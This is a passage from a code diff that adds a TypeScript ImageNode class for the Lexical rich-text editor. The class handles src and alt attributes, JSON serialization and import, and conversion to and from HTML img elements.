|
62
|
+
return false;
|
|
63
|
+
}
|
|
64
|
+
|
|
65
|
+
exportDOM(): DOMExportOutput {
|
|
66
|
+
return { element: this.buildImage() };
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
exportJSON(): SerializedImageNode {
|
|
70
|
+
return { ...super.exportJSON(), alt: this.getAlt(), src: this.getSrc() };
|
|
71
|
+
}
|
|
72
|
+
|
|
73
|
+
updateFromJSON(serializedNode: LexicalUpdateJSON<SerializedImageNode>): this {
|
|
74
|
+
return super
|
|
75
|
+
.updateFromJSON(serializedNode)
|
|
76
|
+
.setSrc(serializedNode.src)
|
|
77
|
+
.setAlt(serializedNode.alt);
|
|
78
|
+
}
|
|
79
|
+
|
|
80
|
+
getSrc(): string {
|
|
81
|
+
return this.getLatest().__src;
|
|
82
|
+
}
|
|
83
|
+
|
|
84
|
+
setSrc(src: string): this {
|
|
85
|
+
const writable = this.getWritable();
|
|
86
|
+
writable.__src = src;
|
|
87
|
+
return writable;
|
|
88
|
+
}
|
|
89
|
+
|
|
90
|
+
getAlt(): string {
|
|
91
|
+
return this.getLatest().__alt;
|
|
92
|
+
}
|
|
93
|
+
|
|
94
|
+
setAlt(alt: string): this {
|
|
95
|
+
const writable = this.getWritable();
|
|
96
|
+
writable.__alt = alt;
|
|
97
|
+
return writable;
|
|
98
|
+
}
|
|
99
|
+
|
|
100
|
+
/** The text alternative is what a plain-text reader is left with. */
|
|
101
|
+
getTextContent(): string {
|
|
102
|
+
return this.getAlt();
|
|
103
|
+
}
|
|
104
|
+
|
|
105
|
+
isInline(): true {
|
|
106
|
+
return true;
|
|
107
|
+
}
|
|
108
|
+
|
|
109
|
+
private buildImage(): HTMLImageElement {
|
|
110
|
+
const element = $getDocument().createElement("img");
|
|
111
|
+
element.setAttribute("src", this.__src);
|
|
112
|
+
element.setAttribute("alt", this.__alt);
|
|
113
|
+
return element;
|
|
114
|
+
}
|
|
115
|
+
}
|
|
116
|
+
|
|
117
|
+
const $convertImageElement = (element: HTMLElement): DOMConversionOutput => ({
|
|
118
|
+
node: $applyNodeReplacement(
|
|
119
|
+
new ImageNode(
|
|
120
|
+
element.getAttribute("src") ?? "",
|
|
121
|
+
element.getAttribute("alt") ?? "",
|
|
122
|
+
),
|
|
123
|
+
),
|
|
124
|
+
});
|